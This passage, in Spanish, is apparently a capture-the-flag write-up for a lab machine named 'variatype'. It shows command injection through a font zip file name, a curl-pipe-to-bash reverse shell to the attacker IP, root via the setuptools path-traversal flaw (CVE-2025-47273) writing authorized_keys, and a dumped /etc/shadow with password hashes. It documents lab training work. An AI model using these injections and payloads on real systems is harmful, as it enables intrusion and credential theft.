282026/03/20 05:40:02 CMD: UID=1000 PID=5207 | sh -c ( cd /tmp/ffarchive-5202-1 ; unzip /var/www/portal.variatype.htb/public/files/normal_font.zip test;whoami > /dev/shm/whoami;.ttf ) > /dev/null
292026/03/20 05:40:02 CMD: UID=1000 PID=5206 | sh -c ( cd /tmp/ffarchive-5202-1 ; unzip /var/www/portal.variatype.htb/public/files/normal_font.zip test;whoami > /dev/shm/whoami;.ttf ) > /dev/null
302026/03/20 05:40:02 CMD: UID=1000 PID=5208 | whoami
312026/03/20 05:40:02 CMD: UID=1000 PID=5209 |
322026/03/20 05:40:02 CMD: UID=1000 PID=5210 | mv normal_font.zip /home/steve/processed_fonts/Observamos el resultado de la ejecucion.
1$ ls -lah /dev/shm/whoami
2-rw-r--r-- 1 steve steve 6 Mar 20 05:56 /dev/shm/whoami
3$ cat /dev/shm/whoami
4steve
5$Modificamos el nombre del archivo para ejecucion de una shell inversa.
1❯ python poc.py
2Created font.zip with command test;curl 10.10.14.10:8000/10.10.14.10:1336|bash;.ttf.
3❯Logrando obtener una shell como steve y la flag user.txt.
1❯ rlwrap nc -lvp 1336
2listening on [any] 1336 ...
3connect to [10.10.14.10] from variatype.htb [10.129.255.115] 57482
4/bin/sh: 0: can't access tty; job control turned off
5$ whoami;id
6steve
7uid=1000(steve) gid=1000(steve) groups=1000(steve)
8$ cd
9$ cat user.txt
1085e0dbaa6cd9a532d1c2f5c5b04ddb46
11$Privesc
Steve puede ejecutar como root el script install_validator.py.
1$ sudo -l -l
2Matching Defaults entries for steve on variatype:
3 env_reset, mail_badpass,
4 secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin,
5 use_pty
6
7User steve may run the following commands on variatype:
8
9Sudoers entry:
10 RunAsUsers: root
11 Options: !authenticate
12 Commands:
13 /usr/bin/python3 /opt/font-tools/install_validator.py *
14$El script realiza la descarga del plugin de una url dada en /opt/font-tools/validators.
1#!/usr/bin/env python3
2"""
3Font Validator Plugin Installer
4--------------------------------
5Allows typography operators to install validation plugins
6developed by external designers. These plugins must be simple
7Python modules containing a validate_font() function.
8
9Example usage:
10 sudo /opt/font-tools/install_validator.py https://designer.example.com/plugins/woff2-check.py
11"""
12
13import os
14import sys
15import re
16import logging
17from urllib.parse import urlparse
18from setuptools.package_index import PackageIndex
19
20# Configuration
21PLUGIN_DIR = "/opt/font-tools/validators"
22LOG_FILE = "/var/log/font-validator-install.log"
23
24# Set up logging
25os.makedirs(os.path.dirname(LOG_FILE), exist_ok=True)
26logging.basicConfig(
27 level=logging.INFO,
28 format='%(asctime)s [%(levelname)s] %(message)s',
29 handlers=[
30 logging.FileHandler(LOG_FILE),
31 logging.StreamHandler(sys.stdout)
32 ]
33)
34
35def is_valid_url(url):
36 try:
37 result = urlparse(url)
38 return all([result.scheme in ('http', 'https'), result.netloc])
39 except Exception:
40 return False
41
42def install_validator_plugin(plugin_url):
43 if not os.path.exists(PLUGIN_DIR):
44 os.makedirs(PLUGIN_DIR, mode=0o755)
45
46 logging.info(f"Attempting to install plugin from: {plugin_url}")
47
48 index = PackageIndex()
49 try:
50 downloaded_path = index.download(plugin_url, PLUGIN_DIR)
51 logging.info(f"Plugin installed at: {downloaded_path}")
52 print("[+] Plugin installed successfully.")
53 except Exception as e:
54 logging.error(f"Failed to install plugin: {e}")
55 print(f"[-] Error: {e}")
56 sys.exit(1)
57
58def main():
59 if len(sys.argv) != 2:
60 print("Usage: sudo /opt/font-tools/install_validator.py <PLUGIN_URL>")
61 print("Example: sudo /opt/font-tools/install_validator.py https://internal.example.com/plugins/glyph-check.py")
62 sys.exit(1)
63
64 plugin_url = sys.argv[1]
65
66 if not is_valid_url(plugin_url):
67 print("[-] Invalid URL. Must start with http:// or https://")
68 sys.exit(1)
69
70 if plugin_url.count('/') > 10:
71 print("[-] Suspiciously long URL. Aborting.")
72 sys.exit(1)
73
74 install_validator_plugin(plugin_url)
75
76if __name__ == "__main__":
77 if os.geteuid() != 0:
78 print("[-] This script must be run as root (use sudo).")
79 sys.exit(1)
80 main()setuptools - Path Traversal
El script hace uso de PackageIndex de la libreria setuptools.
1# ... skip ...
2from setuptools.package_index import PackageIndex
3
4# ... skip ...
5downloaded_path = index.download(plugin_url, PLUGIN_DIR)
6# ... skip ...Para esta version 78.1.0 existe la vulnerabilidad Path Traversal (CVE-2025-47273) que permite escribir archivos de forma arbitraria. Dadas ciertas circunstancias podria escalar a RCE.
1steve@variatype:~$ pip show setuptools
2Name: setuptools
3Version: 78.1.0
4Summary: Easily download, build, install, upgrade, and uninstall Python packages
5Home-page:
6Author:
7Author-email: Python Packaging Authority <distutils-sig@python.org>
8License:
9Location: /usr/local/lib/python3.11/dist-packages
10Requires:
11Required-by:
12steve@variatype:~$Para esta vulnerabilidad simplemente se inicia con un slash / codificado para que el nombre del archivo sea utilizado como objetivo de escritura.
Ref. CVE-2025-47273: setuptools version 78.1.0 - Path Traversal in setuptools.package_index
1[ Attacker-Controlled URL ]
2http://attacker.local/%2fetc%2fpasswd
3 |
4 | 1. URL Decoding
5 v
6[ Decoded Filename (name) ]
7"/etc/passwd"
8 |
9 | 2. Vulnerable Function Call
10 v
11os.path.join("/tmp/download_dir", "/etc/passwd")
12 |
13 | 3. Python os.path.join Logic
14 v
15[ Resulting Path (filename) ]
16"/etc/passwd" <-- /tmp/download_dir is discarded!En este caso podriamos escalar privilegios ya que el script es ejecutado como root. Generamos una clave ssh para steve.
1steve@variatype:~$ ssh-keygen
2Generating public/private rsa key pair.
3Enter file in which to save the key (/home/steve/.ssh/id_rsa):
4Enter passphrase (empty for no passphrase):
5Enter same passphrase again:
6
7Your identification has been saved in /home/steve/.ssh/id_rsa
8Your public key has been saved in /home/steve/.ssh/id_rsa.pub
9The key fingerprint is:
10SHA256:y+2Hx+ODT89rex26VW6CscupKFdHoiXneXeiCkIvYjE steve@variatype
11The key's randomart image is:
12+---[RSA 3072]----+
13| |
14| |
15| |
16| . + . |
17| E . S* +. .|
18| + o.o+ o+ooo|
19| o o =..*+oo+=|
20| . ..o.+ooB*ooo|
21| o. +B*=*+ |
22+----[SHA256]-----+
23steve@variatype:~$En kali creamos el directorio root/.ssh en donde escribimos el archivo authorized_keys con el contenido de la clave publica de steve (id_rsa.pub).
1❯ mkdir -p root/.ssh
2❯ nano root/.ssh/authorized_keys
3❯ python -m http.server 8181
4Serving HTTP on 0.0.0.0 port 8181 (http://0.0.0.0:8181/) ...Ejecutamos el script con sudo especificando el archivo authorized_keys dentro del directorio de root. Este muestra que realizo la instalacion o escritura del archivo.
1$ sudo /usr/bin/python3 /opt/font-tools/install_validator.py "http://10.10.14.10:8181/%2froot%2f.ssh%2fauthorized_keys"
22026-03-20 06:28:22,028 [INFO] Attempting to install plugin from: http://10.10.14.10:8181/%2froot%2f.ssh%2fauthorized_keys
32026-03-20 06:28:22,036 [INFO] Downloading http://10.10.14.10:8181/%2froot%2f.ssh%2fauthorized_keys
42026-03-20 06:28:22,520 [INFO] Plugin installed at: /root/.ssh/authorized_keys
5[+] Plugin installed successfully.
6$1❯ python -m http.server 8181
2Serving HTTP on 0.0.0.0 port 8181 (http://0.0.0.0:8181/) ...
310.129.255.115 - - [20/Mar/2026 04:26:05] "GET /%2froot%2f.ssh%2fauthorized_keys HTTP/1.1" 200 -Shell
Logramos acceso root por SSH y la lectura de root.txt.
1steve@variatype:~$ ssh root@localhost
2The authenticity of host 'localhost (127.0.0.1)' can't be established.
3ED25519 key fingerprint is SHA256:0Wqe+nNeYlUwY+F669ywmS9kPUMYXqJh5xxCxwyCapI.
4This key is not known by any other names.
5Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
6yes
7Warning: Permanently added 'localhost' (ED25519) to the list of known hosts.
8Linux variatype 6.1.0-43-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.162-1 (2026-02-08) x86_64
9
10The programs included with the Debian GNU/Linux system are free software;
11the exact distribution terms for each program are described in the
12individual files in /usr/share/doc/*/copyright.
13
14Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
15permitted by applicable law.
16Last login: Fri Mar 20 06:29:32 2026 from 127.0.0.1
17root@variatype:~# whoami;id;pwd
18root
19uid=0(root) gid=0(root) groups=0(root)
20/root
21root@variatype:~# cat root.txt
22cat root.txt
2388cab92c197f15e96588384fcffc7113
24root@variatype:~#Loot
Dump Hashes
Realizamos la lectura del archivo /etc/shadow.
1root@variatype:~# cat /etc/shadow
2cat /etc/shadow
3root:$y$j9T$U22iZC8ubVYQ.zHw0n1wN.$xTkdl7UZCG8vpE7tECH6aQZeaff07orJSL1G8gzIv9.:20427:0:99999:7:::
4daemon:*:20427:0:99999:7:::
5bin:*:20427:0:99999:7:::
6sys:*:20427:0:99999:7:::
7sync:*:20427:0:99999:7:::
8games:*:20427:0:99999:7:::
9man:*:20427:0:99999:7:::
10lp:*:20427:0:99999:7:::
11mail:*:20427:0:99999:7:::
12news:*:20427:0:99999:7:::
13uucp:*:20427:0:99999:7:::
14proxy:*:20427:0:99999:7:::
15www-data:*:20427:0:99999:7:::
16backup:*:20427:0:99999:7:::
17list:*:20427:0:99999:7:::
18irc:*:20427:0:99999:7:::
19_apt:*:20427:0:99999:7:::
20nobody:*:20427:0:99999:7:::
21systemd-network:!*:20427::::::
22systemd-timesync:!*:20427::::::
23messagebus:!:20427::::::
24sshd:!:20427::::::
25steve:$y$j9T$BHBlMR.4E24EbG/z0v.cD.$bjAG20MM2ica3KNyzUldva6VdTIKjk2XqP7IN0Qskh0:20427:0:99999:7:::
26variatype:!:20427::::::
27_laurel:!:20511::::::
28root@variatype:~#
